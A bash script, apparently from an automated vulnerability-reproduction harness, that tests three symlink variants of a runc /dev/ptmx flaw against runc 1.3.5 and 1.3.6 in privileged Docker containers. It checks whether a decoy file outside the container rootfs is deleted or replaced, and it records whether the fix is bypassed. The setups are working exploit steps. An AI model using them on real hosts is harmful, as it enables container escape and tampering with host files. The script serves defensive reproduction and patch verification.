#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs/vuln_variant"
SCRIPTS="$LOGS/inner_scripts"
MANIFEST_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$SCRIPTS" "$MANIFEST_DIR"

cd "$ROOT"

# ---------------------------------------------------------------------------
# 1. Verify Docker is available.
# ---------------------------------------------------------------------------
if ! docker ps >/dev/null 2>&1; then
    echo "ERROR: Docker daemon is not reachable." | tee "$LOGS/docker_check.log"
    exit 2
fi

# ---------------------------------------------------------------------------
# 2. Pick durable cache location.
# ---------------------------------------------------------------------------
CACHE_DIR="$ROOT/artifacts/runc"
PCC="$ROOT/project_cache_context.json"
if [[ -f "$PCC" ]]; then
    prepared=$(jq -r '.prepared // false' "$PCC")
    if [[ "$prepared" == "true" ]]; then
        cdir=$(jq -r '.project_cache_dir' "$PCC")
        CACHE_DIR="$cdir/runc-repro"
    fi
fi
mkdir -p "$CACHE_DIR"

VULN_VERSION="1.3.5"
FIXED_VERSION="1.3.6"
VULN_BIN="$CACHE_DIR/runc-v${VULN_VERSION}.amd64"
FIXED_BIN="$CACHE_DIR/runc-v${FIXED_VERSION}.amd64"
ROOTFS_DIR="$CACHE_DIR/busybox-rootfs"

VULN_IMAGE="repro-runc-vuln"
FIXED_IMAGE="repro-runc-fixed"

# The directory that the malicious symlink points to. Keeping it inside
# /bundle makes it easy to inspect regardless of whether the target is an
# absolute or relative symlink.
TARGET_DIR="/bundle/controlled_dev"

log() { echo "[$(date -Iseconds)] $*"; }

# ---------------------------------------------------------------------------
# 3. Ensure runc binaries and a minimal rootfs are present.
# ---------------------------------------------------------------------------
download_runc() {
    local version=$1 dst=$2
    if [[ -x "$dst" ]]; then
        log "Using cached runc $version at $dst"
        return 0
    fi
    log "Downloading runc $version ..."
    curl -fsSL --retry 3 -o "$dst" "https://github.com/opencontainers/runc/releases/download/v${version}/runc.amd64"
    chmod +x "$dst"
    "$dst" --version
}

download_runc "$VULN_VERSION" "$VULN_BIN"
download_runc "$FIXED_VERSION" "$FIXED_BIN"

if [[ ! -d "$ROOTFS_DIR/bin" ]]; then
    log "Creating busybox rootfs in $ROOTFS_DIR ..."
    mkdir -p "$ROOTFS_DIR"
    docker export "$(docker create busybox)" | tar -C "$ROOTFS_DIR" -xf -
fi

# ---------------------------------------------------------------------------
# 4. Ensure Docker images exist (build only if missing).
# ---------------------------------------------------------------------------
build_repro_image() {
    local tag=$1 runc=$2
    if [[ -n "$(docker images -q "$tag" 2>/dev/null)" ]]; then
        log "Using existing Docker image $tag"
        return 0
    fi
    local bdir="$CACHE_DIR/buildctx-$tag"
    rm -rf "$bdir"
    mkdir -p "$bdir"
    cp "$runc" "$bdir/runc"
    cp -a "$ROOTFS_DIR" "$bdir/rootfs"
    cat > "$bdir/Dockerfile" <<'EOF'
FROM alpine:latest
COPY runc /usr/local/bin/runc
COPY rootfs /bundle/rootfs
RUN chmod +x /usr/local/bin/runc && apk add --no-cache python3
EOF
    log "Building Docker image $tag ..."
    docker build -t "$tag" "$bdir" > "$LOGS/build_${tag}.log" 2>&1
}

build_repro_image "$VULN_IMAGE" "$VULN_BIN"
build_repro_image "$FIXED_IMAGE" "$FIXED_BIN"

# ---------------------------------------------------------------------------
# 5. Helper: generate the inner script for a variant and run it through a
#    privileged container by piping the script into 'sh -s'.
# ---------------------------------------------------------------------------
make_inner_script() {
    local variant=$1 setup=$2 run_cmd=$3 path=$4
    cat > "$path" <<EOF
#!/bin/sh
set -e
TARGET_DIR="$TARGET_DIR"
mkdir -p /bundle
cd /bundle
runc spec
python3 - <<'PY'
import json
with open('/bundle/config.json') as f:
    cfg = json.load(f)
cfg['process']['terminal'] = False
cfg['process']['args'] = ['/bin/true']
with open('/bundle/config.json', 'w') as f:
    json.dump(cfg, f, indent=2)
PY
$setup
echo "VARIANT: $variant"
echo "RUN_CMD: $run_cmd"
echo "RUN_VERSION: \$(runc --version | head -1)"
echo "BEFORE: \$TARGET_DIR contents"
if [ -d "\$TARGET_DIR" ]; then ls -la "\$TARGET_DIR"; else echo "\$TARGET_DIR does not exist"; fi
echo "BEFORE: /bundle/rootfs/dev type"
if [ -L /bundle/rootfs/dev ]; then echo "/bundle/rootfs/dev is a symlink -> \$(readlink /bundle/rootfs/dev)"; elif [ -d /bundle/rootfs/dev ]; then echo "/bundle/rootfs/dev is a directory"; else echo "/bundle/rootfs/dev is missing"; fi
echo "==> executing runc (\$RUN_CMD)"
set +e
case "\$RUN_CMD" in
  create_start)
    runc create cve-ptmx-test -b /bundle
    rc1=\$?
    runc start cve-ptmx-test
    rc2=\$?
    echo "RUNC_EXIT: create_rc=\$rc1 start_rc=\$rc2"
    ;;
  run|*)
    if runc run cve-ptmx-test -b /bundle; then
      echo "RUNC_EXIT: success"
    else
      echo "RUNC_EXIT: failure (rc=\$?)"
    fi
    ;;
esac
set -e
echo "AFTER: \$TARGET_DIR contents"
if [ -d "\$TARGET_DIR" ]; then ls -la "\$TARGET_DIR"; else echo "\$TARGET_DIR does not exist"; fi
if [ -f "\$TARGET_DIR/ptmx" ]; then
    echo "RESULT: decoy preserved"
elif [ -L "\$TARGET_DIR/ptmx" ]; then
    echo "RESULT: decoy replaced by symlink"
else
    echo "RESULT: decoy deleted"
fi
echo "AFTER: /bundle/rootfs/dev type and contents"
if [ -e /bundle/rootfs/dev ]; then ls -la /bundle/rootfs/dev; else echo "/bundle/rootfs/dev missing"; fi
EOF
    chmod +x "$path"
}

run_variant() {
    local variant=$1 version=$2 image=$3 run_cmd=$4
    local setup="$5"
    local script="$SCRIPTS/${variant}_${version}.sh"
    local log="$LOGS/${variant}_${version}.log"
    local container="${variant}-${version}-$(date +%s%N)-${RANDOM}"
    make_inner_script "$variant" "$setup" "$run_cmd" "$script"
    log "Running variant=$variant version=$version ..."
    docker run -i --rm --privileged \
        --name "$container" \
        "$image" \
        sh -s < "$script" > "$log" 2>&1 || true
    echo "$log"
}

# ---------------------------------------------------------------------------
# 6. Define variant setups.
# ---------------------------------------------------------------------------
# Variant A: /dev is a relative symlink to a directory outside the rootfs.
#            This is a different data path from the original absolute symlink.
SETUP_RELATIVE_DEV='mkdir -p "$TARGET_DIR"
printf "decoy-ptmx" > "$TARGET_DIR/ptmx"
rm -rf /bundle/rootfs/dev
ln -s ../controlled_dev /bundle/rootfs/dev'

# Variant B: /dev is a real directory, but /dev/pts is a symlink to a
#            controlled directory. This tests whether the fix protects the
#            /dev/pts component used by the ptmx symlink target.
SETUP_PTS_SYMLINK='mkdir -p "$TARGET_DIR"
printf "decoy-ptmx" > "$TARGET_DIR/ptmx"
rm -rf /bundle/rootfs/dev/pts
ln -s "$TARGET_DIR" /bundle/rootfs/dev/pts
rm -f /bundle/rootfs/dev/ptmx'

# Variant C: Use runc create + start instead of runc run. The same rootfs setup
#            code runs, but through a different CLI entry point.
SETUP_CREATE_START='mkdir -p "$TARGET_DIR"
printf "decoy-ptmx" > "$TARGET_DIR/ptmx"
rm -rf /bundle/rootfs/dev
ln -s "$TARGET_DIR" /bundle/rootfs/dev'

# ---------------------------------------------------------------------------
# 7. Run every variant against both vulnerable and fixed runc.
# ---------------------------------------------------------------------------
run_variant "relative_dev_symlink" "vuln" "$VULN_IMAGE" "run" "$SETUP_RELATIVE_DEV"
run_variant "relative_dev_symlink" "fixed" "$FIXED_IMAGE" "run" "$SETUP_RELATIVE_DEV"
run_variant "pts_symlink" "vuln" "$VULN_IMAGE" "run" "$SETUP_PTS_SYMLINK"
run_variant "pts_symlink" "fixed" "$FIXED_IMAGE" "run" "$SETUP_PTS_SYMLINK"
run_variant "create_start_entrypoint" "vuln" "$VULN_IMAGE" "create_start" "$SETUP_CREATE_START"
run_variant "create_start_entrypoint" "fixed" "$FIXED_IMAGE" "create_start" "$SETUP_CREATE_START"

# ---------------------------------------------------------------------------
# 8. Evaluate the results. The original vulnerability both deletes an existing
#    file named ptmx and replaces it with a symlink, so we count either
#    "decoy deleted" or "decoy replaced by symlink" as a reproduction.
# ---------------------------------------------------------------------------
evaluate() {
    local variant=$1
    local vuln_log="$LOGS/${variant}_vuln.log"
    local fixed_log="$LOGS/${variant}_fixed.log"
    local vuln_hit=false
    local fixed_hit=false
    if [[ -f "$vuln_log" ]] && grep -qE "RESULT: decoy (deleted|replaced by symlink)" "$vuln_log"; then
        vuln_hit=true
    fi
    if [[ -f "$fixed_log" ]] && grep -qE "RESULT: decoy (deleted|replaced by symlink)" "$fixed_log"; then
        fixed_hit=true
    fi
    echo "$variant vuln_hit=$vuln_hit fixed_hit=$fixed_hit"
}

log "Evaluating results ..."
evaluate "relative_dev_symlink" > "$LOGS/eval_relative_dev_symlink.txt"
evaluate "pts_symlink" > "$LOGS/eval_pts_symlink.txt"
evaluate "create_start_entrypoint" > "$LOGS/eval_create_start_entrypoint.txt"

REL=$(cat "$LOGS/eval_relative_dev_symlink.txt")
PTS=$(cat "$LOGS/eval_pts_symlink.txt")
CS=$(cat "$LOGS/eval_create_start_entrypoint.txt")

log "$REL"
log "$PTS"
log "$CS"

BYPASS_FOUND=false
DISTINCT_VARIANT_FOUND=false
if [[ "$REL" == *"vuln_hit=true fixed_hit=true"* ]]; then
    BYPASS_FOUND=true
    DISTINCT_VARIANT_FOUND=true
    log "BYPASS: relative_dev_symlink reproduces on the fixed version."
elif [[ "$REL" == *"vuln_hit=true fixed_hit=false"* ]]; then
    DISTINCT_VARIANT_FOUND=true
    log "VARIANT: relative_dev_symlink is a distinct alternate trigger on the vulnerable version."
fi
if [[ "$PTS" == *"vuln_hit=true fixed_hit=true"* ]]; then
    BYPASS_FOUND=true
    DISTINCT_VARIANT_FOUND=true
    log "BYPASS: pts_symlink reproduces on the fixed version."
elif [[ "$PTS" == *"vuln_hit=true fixed_hit=false"* ]]; then
    DISTINCT_VARIANT_FOUND=true
    log "VARIANT: pts_symlink is a distinct alternate trigger on the vulnerable version."
fi
if [[ "$CS" == *"vuln_hit=true fixed_hit=true"* ]]; then
    BYPASS_FOUND=true
    DISTINCT_VARIANT_FOUND=true
    log "BYPASS: create_start_entrypoint reproduces on the fixed version."
elif [[ "$CS" == *"vuln_hit=true fixed_hit=false"* ]]; then
    DISTINCT_VARIANT_FOUND=true
    log "VARIANT: create_start_entrypoint is a distinct alternate trigger on the vulnerable version."
fi

# ---------------------------------------------------------------------------
# 9. Write runtime evidence manifest.
# ---------------------------------------------------------------------------
python3 - "$BYPASS_FOUND" "$DISTINCT_VARIANT_FOUND" <<'PY'
import json, sys, os
bypass = sys.argv[1] == "true"
variant = sys.argv[2] == "true"
root = os.environ.get("PRUVA_ROOT", os.getcwd())
manifest = {
    "entrypoint_kind": "cli_local",
    "entrypoint_detail": "runc run and runc create+runc start with malicious /dev or /dev/pts symlinks in the bundle rootfs",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": variant or bypass,
    "runtime_stack": ["docker", "runc"],
    "proof_artifacts": [
        "logs/vuln_variant/relative_dev_symlink_vuln.log",
        "logs/vuln_variant/relative_dev_symlink_fixed.log",
        "logs/vuln_variant/pts_symlink_vuln.log",
        "logs/vuln_variant/pts_symlink_fixed.log",
        "logs/vuln_variant/create_start_entrypoint_vuln.log",
        "logs/vuln_variant/create_start_entrypoint_fixed.log"
    ],
    "notes": "Tested three distinct variant candidates against runc %s and %s. Bypass on fixed=%s, distinct alternate trigger=%s." % (
        "1.3.5", "1.3.6", bypass, variant)
}
path = os.path.join(root, "vuln_variant", "runtime_manifest.json")
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print(json.dumps(manifest, indent=2))
PY

if [[ "$BYPASS_FOUND" == "true" ]]; then
    log "TRUE BYPASS FOUND: at least one variant reproduces on the fixed version."
    exit 0
else
    log "NO BYPASS FOUND: no variant reproduced on the fixed version."
    exit 1
fi
